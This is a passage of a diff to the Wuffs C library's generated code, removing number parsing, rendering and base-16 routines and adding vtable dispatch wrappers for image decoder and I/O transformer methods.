..= 0x67. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. ++ return wuffs_base__utility__empty_rect_ie_u32(); ++} + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__get_quirk( ++ const wuffs_base__image_decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. +- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. +- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. ++ return 0; ++} + +- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. +- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_base__image_decoder__num_animation_loops( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_animation_loops)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. +- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ return 0; ++} + +-static const uint8_t wuffs_base__private_implementation__encode_base16[16] = { +- 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. +- 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__num_decoded_frame_configs( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-// -------- ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_decoded_frame_configs)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // +-wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; ++ return 0; ++} + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__image_decoder__num_decoded_frames( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- bool negative = false; +- if (p >= q) { +- goto fail_bad_argument; +- } else if (*p == '-') { +- p++; +- negative = true; +- } else if (*p == '+') { +- p++; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->num_decoded_frames)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- do { +- wuffs_base__result_u64 r = wuffs_base__parse_number_u64( +- wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); +- if (r.status.repr != NULL) { +- wuffs_base__result_i64 ret; +- ret.status.repr = r.status.repr; +- ret.value = 0; +- return ret; +- } else if (negative) { +- if (r.value < 0x8000000000000000) { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = -(int64_t)(r.value); +- return ret; +- } else if (r.value == 0x8000000000000000) { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = INT64_MIN; +- return ret; +- } +- goto fail_out_of_bounds; +- } else if (r.value > 0x7FFFFFFFFFFFFFFF) { +- goto fail_out_of_bounds; +- } else { +- wuffs_base__result_i64 ret; +- ret.status.repr = NULL; +- ret.value = +(int64_t)(r.value); +- return ret; +- } +- } while (0); +- +-fail_bad_argument: +- do { +- wuffs_base__result_i64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); +- +-fail_out_of_bounds: +- do { +- wuffs_base__result_i64 ret; +- ret.status.repr = wuffs_base__error__out_of_bounds; +- ret.value = 0; +- return ret; +- } while (0); ++ return 0; + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // +-wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { +- uint8_t* p = s.ptr; +- uint8_t* q = s.ptr + s.len; +- +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__restart_frame( ++ wuffs_base__image_decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- if (p >= q) { +- goto fail_bad_argument; +- +- } else if (*p == '0') { +- p++; +- if (p >= q) { +- goto ok_zero; +- } +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- if (*p == '_') { +- p++; +- for (; p < q; p++) { +- if (*p != '_') { +- if (options & +- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { +- goto decimal; +- } +- goto fail_bad_argument; +- } +- } +- goto ok_zero; +- } ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->restart_frame)(self, a_index, a_io_position); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- if ((*p == 'x') || (*p == 'X')) { +- p++; +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } +- } +- if (p < q) { +- goto hexadecimal; +- } ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- } else if ((*p == 'd') || (*p == 'D')) { +- p++; +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { +- for (; (p < q) && (*p == '_'); p++) { +- } +- } +- if (p < q) { +- goto decimal; +- } +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__set_quirk( ++ wuffs_base__image_decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { +- goto decimal; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } +- goto fail_bad_argument; ++ v++; + } + +-decimal: +- do { +- uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; +- if (v == 0) { +- goto fail_bad_argument; +- } +- v &= 0x0F; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). +- const uint64_t max10 = 1844674407370955161u; +- const uint8_t max1 = 5; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__image_decoder__set_report_metadata( ++ wuffs_base__image_decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- continue; +- } +- uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; +- if (digit == 0) { +- goto fail_bad_argument; +- } +- digit &= 0x0F; +- if ((v > max10) || ((v == max10) && (digit > max1))) { +- goto fail_out_of_bounds; +- } +- v = (10 * v) + ((uint64_t)(digit)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = v; +- return ret; +- } while (0); ++ return wuffs_base__make_empty_struct(); ++} + +-hexadecimal: +- do { +- uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; +- if (v == 0) { +- goto fail_bad_argument; +- } +- v &= 0x0F; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__image_decoder__tell_me_more( ++ wuffs_base__image_decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- for (; p < q; p++) { +- if ((*p == '_') && +- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { +- continue; +- } +- uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; +- if (digit == 0) { +- goto fail_bad_argument; +- } +- digit &= 0x0F; +- if ((v >> 60) != 0) { +- goto fail_out_of_bounds; +- } +- v = (v << 4) | ((uint64_t)(digit)); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; ++ } + +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = v; +- return ret; +- } while (0); ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +-ok_zero: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = NULL; +- ret.value = 0; +- return ret; +- } while (0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__image_decoder__workbuf_len( ++ const wuffs_base__image_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +-fail_bad_argument: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = wuffs_base__error__bad_argument; +- ret.value = 0; +- return ret; +- } while (0); ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { ++ const wuffs_base__image_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-fail_out_of_bounds: +- do { +- wuffs_base__result_u64 ret; +- ret.status.repr = wuffs_base__error__out_of_bounds; +- ret.value = 0; +- return ret; +- } while (0); ++ return wuffs_base__utility__empty_range_ii_u64(); + } + + // -------- + +-// wuffs_base__render_number__first_hundred contains the decimal encodings of +-// the first one hundred numbers [0 ..= 99]. +-static const uint8_t wuffs_base__render_number__first_hundred[200] = { +- '0', '0', '0', '1', '0', '2', '0', '3', '0', '4', // +- '0', '5', '0', '6', '0', '7', '0', '8', '0', '9', // +- '1', '0', '1', '1', '1', '2', '1', '3', '1', '4', // +- '1', '5', '1', '6', '1', '7', '1', '8', '1', '9', // +- '2', '0', '2', '1', '2', '2', '2', '3', '2', '4', // +- '2', '5', '2', '6', '2', '7', '2', '8', '2', '9', // +- '3', '0', '3', '1', '3', '2', '3', '3', '3', '4', // +- '3', '5', '3', '6', '3', '7', '3', '8', '3', '9', // +- '4', '0', '4', '1', '4', '2', '4', '3', '4', '4', // +- '4', '5', '4', '6', '4', '7', '4', '8', '4', '9', // +- '5', '0', '5', '1', '5', '2', '5', '3', '5', '4', // +- '5', '5', '5', '6', '5', '7', '5', '8', '5', '9', // +- '6', '0', '6', '1', '6', '2', '6', '3', '6', '4', // +- '6', '5', '6', '6', '6', '7', '6', '8', '6', '9', // +- '7', '0', '7', '1', '7', '2', '7', '3', '7', '4', // +- '7', '5', '7', '6', '7', '7', '7', '8', '7', '9', // +- '8', '0', '8', '1', '8', '2', '8', '3', '8', '4', // +- '8', '5', '8', '6', '8', '7', '8', '8', '8', '9', // +- '9', '0', '9', '1', '9', '2', '9', '3', '9', '4', // +- '9', '5', '9', '6', '9', '7', '9', '8', '9', '9', // +-}; +- +-static size_t // +-wuffs_base__private_implementation__render_number_u64(wuffs_base__slice_u8 dst, +- uint64_t x, +- uint32_t options, +- bool neg) { +- uint8_t buf[WUFFS_BASE__U64__BYTE_LENGTH__MAX_INCL]; +- uint8_t* ptr = &buf[0] + sizeof(buf); +- +- while (x >= 100) { +- size_t index = ((size_t)((x % 100) * 2)); +- x /= 100; +- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; +- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; +- ptr -= 2; +- ptr[0] = s0; +- ptr[1] = s1; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_base__io_transformer__dst_history_retain_length( ++ const wuffs_base__io_transformer* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } +- +- if (x < 10) { +- ptr -= 1; +- ptr[0] = (uint8_t)('0' + x); +- } else { +- size_t index = ((size_t)(x * 2)); +- uint8_t s0 = wuffs_base__render_number__first_hundred[index + 0]; +- uint8_t s1 = wuffs_base__render_number__first_hundred[index + 1]; +- ptr -= 2; +- ptr[0] = s0; +- ptr[1] = s1; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + +- if (neg) { +- ptr -= 1; +- ptr[0] = '-'; +- } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { +- ptr -= 1; +- ptr[0] = '+'; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->dst_history_retain_length)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- size_t n = sizeof(buf) - ((size_t)(ptr - &buf[0])); +- if (n > dst.len) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__io_transformer__get_quirk( ++ const wuffs_base__io_transformer* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { + return 0; + } +- memcpy(dst.ptr + ((options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) +- ? (dst.len - n) +- : 0), +- ptr, n); +- return n; +-} + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_i64(wuffs_base__slice_u8 dst, +- int64_t x, +- uint32_t options) { +- uint64_t u = (uint64_t)x; +- bool neg = x < 0; +- if (neg) { +- u = 1 + ~u; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } +- return wuffs_base__private_implementation__render_number_u64(dst, u, options, +- neg); +-} + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__render_number_u64(wuffs_base__slice_u8 dst, +- uint64_t x, +- uint32_t options) { +- return wuffs_base__private_implementation__render_number_u64(dst, x, options, +- false); ++ return 0; + } + +-// ---------------- Base-16 ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__io_transformer__set_quirk( ++ wuffs_base__io_transformer* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t src_len2 = src.len / 2; +- size_t len; +- if (dst.len < src_len2) { +- len = dst.len; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src_len2; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else if (src.len & 1) { +- o.status.repr = wuffs_base__error__bad_data; +- } else { +- o.status.repr = NULL; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- while (n--) { +- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | +- (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); +- d += 1; +- s += 2; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__io_transformer__transform_io( ++ wuffs_base__io_transformer* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- o.num_dst = len; +- o.num_src = len * 2; +- return o; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t src_len4 = src.len / 4; +- size_t len = dst.len < src_len4 ? dst.len : src_len4; +- if (dst.len < src_len4) { +- len = dst.len; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src_len4; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else if (src.len & 1) { +- o.status.repr = wuffs_base__error__bad_data; +- } else { +- o.status.repr = NULL; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__io_transformer__workbuf_len( ++ const wuffs_base__io_transformer* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if 